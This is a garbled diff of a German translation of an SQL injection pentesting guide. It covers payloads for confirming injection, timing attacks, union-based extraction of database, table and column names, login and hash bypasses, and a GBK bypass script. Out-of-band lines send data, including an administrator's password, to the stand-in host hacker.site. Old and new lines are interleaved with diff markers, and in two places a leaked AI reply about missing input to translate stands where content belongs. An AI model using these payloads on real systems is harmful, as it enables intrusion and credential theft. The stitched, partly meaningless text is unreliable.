Eine zuverlässige Methode, um eine SQL injection-Schwachstelle zu bestätigen, besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel deutet ein GET parameter wie `?username=Peter`, der identischen Inhalt liefert, wenn er zu `?username=Peter' or '1'='1` geändert wird, auf eine SQL injection-Schwachstelle hin.
Ebenso dient die Anwendung von **mathematischen Operationen** als effektive Bestätigungstechnik. Wenn beispielsweise der Zugriff auf `?id=1` und `?id=2-1` dasselbe Ergebnis liefert, ist dies ein Hinweis auf SQL-Injection.
Ebenso dient die Anwendung von **mathematischen Operationen** als effektive Bestätigungstechnik. Zum Beispiel deutet es auf SQL injection hin, wenn der Aufruf von `?id=1` und `?id=2-1` dasselbe Ergebnis liefert.
Beispiele zur Demonstration der Bestätigung durch logische Operationen:
Beispiele zur Bestätigung mittels logischer Operationen:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Diese Wortliste wurde erstellt, um zu versuchen, **SQL-Injektionen** auf die vorgeschlagene Weise zu bestätigen:
Diese Wortliste wurde erstellt, um auf die vorgeschlagene Weise zu versuchen, **SQLinjections zu bestätigen**:
<details>
<summary>Wahre SQLi</summary>
<summary>True SQLi</summary>
```
true
1
@ -154,10 +154,10 @@ true
```
</details>
### Bestätigen mit Timing
### Bestätigung durch Timing
In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injection** zu entdecken, die DB dazu zu bringen, Aktionen auszuführen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
Daher werden wir in der SQL-Abfrage eine Operation verketten, die viel Zeit in Anspruch nehmen wird:
In einigen Fällen wirst du **keine Änderung** auf der Seite bemerken, die du testest. Daher ist eine gute Methode, **blind SQL injections zu entdecken**, die DB Aktionen ausführen zu lassen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
Deshalb werden wir in die SQL-Abfrage eine concat-Operation einfügen, die viel Zeit zur Ausführung benötigt:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -179,11 +179,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
In einigen Fällen werden die **Sleep-Funktionen nicht erlaubt** sein. Statt diese Funktionen zu verwenden, könnten Sie die Abfrage **komplexe Operationen** durchführen lassen, die mehrere Sekunden in Anspruch nehmen. _Beispiele für diese Techniken werden separat für jede Technologie kommentiert (sofern vorhanden)_.
In einigen Fällen sind die **sleep functions nicht erlaubt**. Statt diese Funktionen zu verwenden, könntest du die Abfrage dazu bringen, **aufwändige Operationen auszuführen**, die mehrere Sekunden dauern. _Beispiele für diese Techniken werden separat für jede Technologie kommentiert (falls vorhanden)_.
### Identifizierung des Back-ends
### Back-end identifizieren
Der beste Weg, das Back-end zu identifizieren, besteht darin, Funktionen der verschiedenen Back-ends auszuführen. Sie könnten die _**Sleep**_ **Funktionen** aus dem vorherigen Abschnitt oder diese hier verwenden (Tabelle von [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Der beste Weg, das Back-end zu identifizieren, ist zu versuchen, Funktionen der verschiedenen Back-ends auszuführen. Du könntest die _**sleep**_ **functions** des vorherigen Abschnitts oder diese verwenden (Tabelle von [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -211,29 +211,29 @@ Der beste Weg, das Back-end zu identifizieren, besteht darin, Funktionen der ver
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Auch wenn Sie Zugriff auf die Ausgabe der Abfrage haben, könnten Sie **die Version der Datenbank ausgeben lassen**.
Außerdem, wenn Sie Zugriff auf die Ausgabe der Abfrage haben, können Sie sie dazu bringen, **die Version der Datenbank auszugeben**.
> [!TIP]
> In der Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection besprechen. Wir werden MySQL als Beispiel verwenden.
> Als Fortsetzung werden wir verschiedene Methoden zur Ausnutzung unterschiedlicher Arten von SQL Injection besprechen. Wir verwenden MySQL als Beispiel.
### Identifizierung mit PortSwigger
### Identifizieren mit PortSwigger
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Ausnutzung von Union Based
## Ausnutzen von Union Based
### Erkennung der Anzahl der Spalten
### Ermitteln der Anzahl der Spalten
Wenn Sie die Ausgabe der Abfrage sehen können, ist dies der beste Weg, um sie auszunutzen.\
Zunächst müssen wir die **Anzahl** der **Spalten** herausfinden, die die **ursprüngliche Anfrage** zurückgibt. Dies liegt daran, dass **beide Abfragen die gleiche Anzahl von Spalten zurückgeben müssen**.\
Zwei Methoden werden typischerweise zu diesem Zweck verwendet:
Wenn Sie die Ausgabe der Abfrage sehen können, ist dies der beste Weg, sie auszunutzen.\
Zuerst müssen wir herausfinden, wie viele **Anzahl** der **Spalten** die **ursprüngliche Anfrage** zurückgibt. Dies liegt daran, dass **beide Abfragen die gleiche Anzahl an Spalten zurückgeben müssen**.\
Für diesen Zweck werden typischerweise zwei Methoden verwendet:
#### Order/Group by
Um die Anzahl der Spalten in einer Abfrage zu bestimmen, passen Sie schrittweise die Zahl in den **ORDER BY**- oder **GROUP BY**-Klauseln an, bis eine falsche Antwort zurückgegeben wird. Trotz der unterschiedlichen Funktionen von **GROUP BY** und **ORDER BY** innerhalb von SQL können beide identisch verwendet werden, um die Spaltenanzahl der Abfrage zu ermitteln.
Um die Anzahl der Spalten in einer Abfrage zu bestimmen, passen Sie schrittweise die Zahl an, die in **ORDER BY**- oder **GROUP BY**-Klauseln verwendet wird, bis eine fehlerhafte Antwort zurückkommt. Trotz der unterschiedlichen Funktionalitäten von **GROUP BY** und **ORDER BY** in SQL können beide identisch verwendet werden, um die Anzahl der Spalten einer Abfrage zu ermitteln.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -251,17 +251,17 @@ Um die Anzahl der Spalten in einer Abfrage zu bestimmen, passen Sie schrittweise
```
#### UNION SELECT
Wählen Sie immer mehr Nullwerte aus, bis die Abfrage korrekt ist:
Wähle immer mehr null-Werte, bis die Abfrage korrekt ist:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Man sollte `null`-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist._
_Du solltest `null` values verwenden, da in einigen Fällen der Typ der Spalten beider Seiten der query derselbe sein muss und `null` in jedem Fall gültig ist._
### Datenbanknamen, Tabellennamen und Spaltennamen extrahieren
### Extrahiere database names, table names und column names
In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellennamen einer Datenbank und die Spaltennamen der Tabelle abrufen:
In den folgenden Beispielen werden wir die Namen aller databases, den table name einer database und die column names einer table auslesen:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -272,67 +272,68 @@ In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellen
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber die Methodik bleibt immer gleich._
_Es gibt für jede Datenbank eine andere Möglichkeit, diese Daten zu entdecken, aber die Methodik ist immer dieselbe._
## Ausnutzen von Hidden Union Based
## Exploiting Hidden Union Based
Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-basierte Injektion unerreichbar scheint, deutet dies auf das Vorhandensein einer **hidden union-based injection** hin. Dieses Szenario führt oft zu einer Blindinjektion. Um eine Blindinjektion in eine union-basierte umzuwandeln, muss die Ausführungsabfrage im Backend erkannt werden.
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
Dies kann durch die Verwendung von Blindinjektions-Techniken zusammen mit den Standardtabellen, die spezifisch für Ihr Ziel-Datenbankmanagementsystem (DBMS) sind, erreicht werden. Um diese Standardtabellen zu verstehen, wird empfohlen, die Dokumentation des Ziel-DBMS zu konsultieren.
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
Sobald die Abfrage extrahiert wurde, ist es notwendig, Ihr Payload so anzupassen, dass die ursprüngliche Abfrage sicher geschlossen wird. Anschließend wird eine Union-Abfrage an Ihr Payload angehängt, um die Ausnutzung der neu zugänglichen union-basierten Injektion zu ermöglichen.
Sobald die query extrahiert wurde, ist es nötig, das payload so anzupassen, dass die ursprüngliche query sicher geschlossen wird. Danach wird eine union query an das payload angehängt, um die Ausnutzung der dadurch zugänglichen union-based injection zu ermöglichen.
Für umfassendere Einblicke, siehe den vollständigen Artikel unter [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Ausnutzen von Error based
## Exploiting Error based
Wenn Sie aus irgendeinem Grund die **Ausgabe** der **Abfrage** **nicht** sehen können, aber die **Fehlermeldungen** sehen können, können Sie diese Fehlermeldungen verwenden, um Daten aus der Datenbank zu **exfiltrieren**.\
Durch einen ähnlichen Ablauf wie bei der Union Based-Ausnutzung könnten Sie es schaffen, die DB zu dumpen.
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
Wenn du aus irgendeinem Grund die **output** der **query** **nicht** sehen kannst, aber die **error messages** sehen kannst, kannst du diese error messages nutzen, um Daten aus der Datenbank zu **ex-filtrate**.\
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Ausnutzen von Blind SQLi
## Exploiting Blind SQLi
In diesem Fall können Sie die Ergebnisse der Abfrage oder die Fehler nicht sehen, aber Sie können **unterscheiden**, wann die Abfrage eine **wahre** oder eine **falsche** Antwort **zurückgibt**, da es unterschiedliche Inhalte auf der Seite gibt.\
In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen für Zeichen zu dumpen:
In diesem Fall kannst du die Ergebnisse der Abfrage oder die Fehler nicht sehen, aber du kannst **distinguished** erkennen, wenn die Abfrage **return** eine **true** oder eine **false** Antwort liefert, weil sich der Inhalt auf der Seite unterscheidet.\
In diesem Fall kannst du dieses Verhalten ausnutzen, um die Datenbank Zeichen für Zeichen auszulesen:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Ausnutzen von Error Blind SQLi
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort aus der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen richtig erraten:
Dies ist der **derselbe Fall wie zuvor**, aber anstatt wie zuvor zwischen einer true/false-Antwort der Abfrage zu unterscheiden, kannst du **zwischen** einem **Fehler** in der SQL-Abfrage und keinem unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher kannst du in diesem Fall bei jedem korrekt geratenen char einen SQLerror erzwingen:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Ausnutzen von zeitbasiertem SQLi
## Exploiting Time Based SQLi
In diesem Fall **gibt es** keine Möglichkeit, die **Antwort** der Abfrage basierend auf dem Kontext der Seite zu **unterscheiden**. Aber Sie können die Seite **länger laden lassen**, wenn das erratene Zeichen korrekt ist. Wir haben diese Technik bereits zuvor verwendet, um eine SQLi-Schwachstelle zu [bestätigen](#confirming-with-timing).
In diesem Fall gibt es **keine** Möglichkeit, die **Antwort** der Abfrage anhand des Kontexts der Seite zu **unterscheiden**. Aber du kannst die Seite **länger laden lassen**, wenn das erratene Zeichen korrekt ist. Wir haben diese Technik bereits zuvor verwendet, um [confirm a SQLi vuln](#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben werden**. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
Du kannst stacked queries verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachte, dass obwohl die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben werden**. Daher ist diese Technik hauptsächlich bei **blind vulnerabilities** nützlich, wo du eine zweite Abfrage verwenden kannst, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
**Oracle** unterstützt **gestapelte Abfragen** nicht. **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle** unterstützt **stacked queries** nicht. **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
Wenn **keine andere** Exploitation-Methode **funktioniert hat**, können Sie versuchen, die **Datenbank** die Informationen an einen **externen Host** zu exfiltrieren, der von Ihnen kontrolliert wird. Zum Beispiel über DNS-Abfragen:
Wenn **no-other** exploitation method **worked**, kannst du versuchen, die **database ex-filtrate** dazu zu bringen, die Informationen an einen von dir kontrollierten **external host** zu senden. Zum Beispiel über DNS-Abfragen:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Datenexfiltration außerhalb des Bandes über XXE
### Out-of-band-Datenexfiltration über XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Automatisierte Ausnutzung
## Automatisierte Exploitation
Überprüfen Sie das [SQLMap Cheatsheet](sqlmap/index.html), um eine SQLi-Schwachstelle mit [**sqlmap**](https://github.com/sqlmapproject/sqlmap) auszunutzen.
Siehe das [SQLMap Cheatsheet](sqlmap/index.html), um eine SQLi-Schwachstelle mit [**sqlmap**](https://github.com/sqlmapproject/sqlmap) auszunutzen.
## Technische spezifische Informationen
## Technik-spezifische Infos
Wir haben bereits alle Möglichkeiten besprochen, eine SQL-Injection-Schwachstelle auszunutzen. Finden Sie einige weitere Tricks, die von der Datenbanktechnologie abhängen, in diesem Buch:
Wir haben bereits alle Möglichkeiten zur Ausnutzung einer SQL Injection besprochen. Finde weitere, datenbanktechnologieabhängige Tricks in diesem Buch:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -340,48 +341,52 @@ Wir haben bereits alle Möglichkeiten besprochen, eine SQL-Injection-Schwachstel
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
Oder Sie finden **eine Menge Tricks zu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
Oder du findest **viele Tricks zu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Authentifizierungsumgehung
## Authentifizierungs-Bypass
Liste zum Versuch, die Anmeldefunktionalität zu umgehen:
Liste, um die Login-Funktionalität zu umgehen:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### Roh-Hash-Authentifizierungsumgehung
### Raw-Hash-Authentifizierungs-Bypass
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für Rohausgaben in Authentifizierungsprüfungen verwendet wird, wodurch das System anfällig für SQL-Injection wird. Angreifer können dies ausnutzen, indem sie Eingaben erstellen, die, wenn sie gehasht werden, unerwartete Teile von SQL-Befehlen erzeugen, was zu unbefugtem Zugriff führt.
Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für raw output in Authentifizierungsprüfungen verwendet wird, wodurch das System anfällig für SQL injection wird. Angreifer können dies ausnutzen, indem sie Eingaben konstruieren, die beim Hashen unerwartete SQL-Befehlsbestandteile erzeugen und so zu unbefugtem Zugriff führen.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Umgehung der Hash-Authentifizierung durch Injection
### Injected hash authentication Bypass
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Empfohlene Liste**:
Sie sollten als Benutzernamen jede Zeile der Liste verwenden und als Passwort immer: _**Pass1234.**_\
_(Diese Payloads sind auch in der großen Liste enthalten, die zu Beginn dieses Abschnitts erwähnt wurde)_
Du solltest als username jede Zeile der Liste verwenden und als password immer: _**Pass1234.**_\
_(Diese payloads sind auch in der großen Liste enthalten, die am Anfang dieses Abschnitts erwähnt wurde)_
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK-Authentifizierungsumgehung
### GBK Authentication Bypass
WENN ' escaped wird, können Sie %A8%27 verwenden, und wenn ' escaped wird, wird erstellt: 0xA80x5c0x27 (_╘'_)
Wenn ' escaped wird, kannst du %A8%27 verwenden; und wenn ' escaped wird, wird es erstellt: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python-Skript:
Ich habe keinen Text zum Übersetzen erhalten. Möchtest du:
1) den Inhalt von src/pentesting-web/sql-injection/README.md hier einfügen, damit ich ihn ins Deutsche übersetze (Markdown, Tags, Links, Pfade und die in der Anleitung genannten Begriffe bleiben unverändert), oder
2) ein PythonScript, das diese Datei automatisch übersetzt?
Antworte kurz, welche Option du willst (1 oder 2) und, falls 1, füge den Text ein; falls 2, nenne gewünschte Details (Ein-/Ausgabepfade, Bibliotheken erlaubt: z.B. googletrans, deep_translator, etc.).
```python
import requests
url = "http://example.com/index.php"
@ -390,7 +395,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot-Injection (Multikontext)
### Polyglot injection (Mehrfachkontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
@ -398,68 +403,74 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Passwort eines bestehenden Objekts/Benutzers ändern
Dazu sollten Sie versuchen, **ein neues Objekt mit dem Namen des "Master-Objekts"** (wahrscheinlich **admin** im Falle von Benutzern) zu erstellen, indem Sie etwas ändern:
Dazu solltest du versuchen, **ein neues Objekt mit dem Namen des "master object"** anzulegen (wahrscheinlich **admin** bei Benutzern), indem du etwas veränderst:
- Erstellen Sie einen Benutzer mit dem Namen: **AdMIn** (Groß- und Kleinbuchstaben)
- Erstellen Sie einen Benutzer mit dem Namen: **admin=**
- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Erstellen Sie einen Benutzer mit dem Namen: **admin \[viele Leerzeichen] a**
- Erstelle Benutzer mit Namen: **AdMIn** (Groß- & Kleinbuchstaben)
- Erstelle einen Benutzer mit Namen: **admin=**
- **SQL Truncation Attack** (wenn es eine Art **Längenbeschränkung** für den Benutzernamen oder die E-Mail gibt) --> Erstelle einen Benutzer mit dem Namen: **admin \[a lot of spaces] a**
#### SQL Truncation Attack
Wenn die Datenbank anfällig ist und die maximale Anzahl von Zeichen für den Benutzernamen beispielsweise 30 beträgt und Sie den Benutzer **admin** impersonieren möchten, versuchen Sie, einen Benutzernamen mit dem Namen: "_admin \[30 Leerzeichen] a_" und einem beliebigen Passwort zu erstellen.
Wenn die Datenbank verwundbar ist und die maximale Anzahl an Zeichen für Benutzernamen z. B. 30 beträgt und du den Benutzer **admin** imitieren möchtest, versuche, einen Benutzernamen zu erstellen: "_admin \[30 spaces] a_" und irgendein Passwort.
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **kürzen** und dann wird sie **automatisch alle Leerzeichen am Ende entfernen, indem sie** den Benutzer "**admin**" mit dem **neuen Passwort** in der Datenbank **aktualisiert** (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
Die Datenbank wird **prüfen**, ob der eingegebene **Benutzername** in der Datenbank **existiert**. Falls **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl Zeichen** kürzen (in diesem Fall auf: "_admin \[25 spaces]_") und anschließend **automatisch alle Leerzeichen am Ende entfernen und** den Benutzer "**admin**" in der Datenbank mit dem **neuen Passwort** aktualisieren (es kann ein Fehler erscheinen, aber das bedeutet nicht, dass es nicht funktioniert hat).
Weitere Informationen: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
Mehr Infos: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Hinweis: Dieser Angriff wird in den neuesten MySQL-Installationen nicht mehr wie oben beschrieben funktionieren. Während Vergleiche standardmäßig nachfolgende Leerzeichen ignorieren, führt der Versuch, eine Zeichenfolge einzufügen, die länger ist als die Länge eines Feldes, zu einem Fehler, und die Einfügung schlägt fehl. Für weitere Informationen zu dieser Überprüfung:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert zeitbasierte Überprüfung
### MySQL Insert time based checking
Fügen Sie so viele `','',''` hinzu, wie Sie für notwendig halten, um die VALUES-Anweisung zu beenden. Wenn eine Verzögerung ausgeführt wird, haben Sie eine SQL-Injection.
Füge so viele `','',''` hinzu, wie du für nötig hältst, um die VALUES-Anweisung zu verlassen. Wenn eine Verzögerung ausgeführt wird, hast du eine SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Die `ON DUPLICATE KEY UPDATE`-Klausel in MySQL wird verwendet, um Aktionen anzugeben, die die Datenbank ausführen soll, wenn ein Versuch unternommen wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administratorkontos zu ändern:
Die `ON DUPLICATE KEY UPDATE`-Klausel in MySQL wird verwendet, um festzulegen, welche Aktionen die Datenbank ausführen soll, wenn versucht wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administrator-Kontos zu ändern:
Beispiel Payload-Injektion:
Beispiel Payload Injection:
Eine Injektions-Payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die `users`-Tabelle einzufügen. Die erste Zeile ist eine Ablenkung, und die zweite Zeile zielt auf die E-Mail eines bestehenden Administrators ab, mit der Absicht, das Passwort zu aktualisieren:
Ein injection payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die `users`-Tabelle einzufügen. Die erste Zeile ist ein Köder, und die zweite Zeile zielt auf die E-Mail eines vorhandenen Administrators mit der Absicht, das Passwort zu aktualisieren:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
So funktioniert es:
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine für `admin_generic@example.com`.
- Wenn die Zeile für `admin_generic@example.com` bereits existiert, wird die Klausel `ON DUPLICATE KEY UPDATE` ausgelöst, die MySQL anweist, das Feld `password` der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
- Folglich kann die Authentifizierung dann mit `admin_generic@example.com` und dem Passwort, das dem bcrypt-Hash entspricht, versucht werden ("bcrypt_hash_of_newpassword" steht für den bcrypt-Hash des neuen Passworts, der durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden sollte).
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine weitere für `admin_generic@example.com`.
- Wenn die Zeile für `admin_generic@example.com` bereits existiert, wird die Klausel `ON DUPLICATE KEY UPDATE` ausgelöst und veranlasst MySQL, das Feld `password` der bestehenden Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
- Folglich kann dann versucht werden, sich mit `admin_generic@example.com` und dem Passwort anzumelden, das dem bcrypt-Hash entspricht ("bcrypt_hash_of_newpassword" steht für den bcrypt-Hash des neuen Passworts und sollte durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden).
### Informationen extrahieren
#### Erstellen von 2 Konten zur gleichen Zeit
#### Erstellen von 2 Accounts gleichzeitig
Beim Versuch, einen neuen Benutzer zu erstellen, sind Benutzername, Passwort und E-Mail erforderlich:
Beim Erstellen eines neuen Users werden username, password und email benötigt:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Verwendung von Dezimal- oder Hexadezimalzahlen
#### Verwendung von Dezimal- oder Hexadezimal
Mit dieser Technik können Sie Informationen extrahieren, indem Sie nur 1 Konto erstellen. Es ist wichtig zu beachten, dass Sie nichts kommentieren müssen.
Mit dieser Technik kannst du Informationen extrahieren, indem du nur 1 Account erstellst. Wichtig: Du musst nichts auskommentieren.
Verwendung von **hex2dec** und **substr**:
Mit **hex2dec** und **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
Um den Text zu erhalten, können Sie Folgendes verwenden:
Ich habe keinen Zugriff auf deine Dateien. Bitte füge den Inhalt von src/pentesting-web/sql-injection/README.md hier ein oder führe einen der folgenden Befehle in deinem Repo aus und kopiere die Ausgabe hierher:
- git show HEAD:src/pentesting-web/sql-injection/README.md
- cat src/pentesting-web/sql-injection/README.md
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
Oder, falls die Datei auf GitHub liegt, öffne die Raw-URL (z. B. https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md) und füge den Inhalt hier ein.
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Verwenden von **hex** und **replace** (und **substr**):
Verwendung von **hex** und **replace** (und **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -470,7 +481,7 @@ Verwenden von **hex** und **replace** (und **substr**):
```
## Routed SQL injection
